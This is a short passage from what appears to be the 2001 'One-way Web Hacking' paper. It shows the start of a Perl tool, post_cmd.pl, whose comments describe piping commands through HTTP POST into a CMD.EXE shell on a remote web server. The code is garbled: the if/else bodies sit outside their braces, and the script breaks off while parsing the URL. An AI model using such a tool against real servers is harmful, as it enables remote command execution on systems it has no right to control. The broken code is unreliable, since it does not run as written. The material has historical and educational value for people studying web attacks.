One-way Web Hacking

# a) Since we cannot send command line arguments to CMD.EXE (such
# as CMD /C), we have to make sure that the last command we
# send is an "exit", otherwise, the command shell will not die
# on the remote server.
#
# b) Since we are sending commands via POST, we have to calculate
# the number of characters sent, and use that as a Content-length
# value.
use IO::Socket;
use IO::Handle;
if(defined($ARGV[0])) {
}
$server = $ARGV[0];
else {
}
print "usage: post_cmd.pl url [proxy:port] < data\n";
print "By Saumil Shah (c) net-square 2001\n\n";
print "post_cmd.pl takes all the data to be POSTed to the URL as\n";
print "standard input. Either enter the data manually and hit ^D (unix)\n";
print "or ^Z (dos) to end; or redirect the data using files or pipes\n\n";
exit(0);
if($server =~ /\//o) {
}
$server =~ s/http:\/\///o;
$server =~ /(.*?)\/(.*)/o;
$file = '/'. $2;
$server = $1;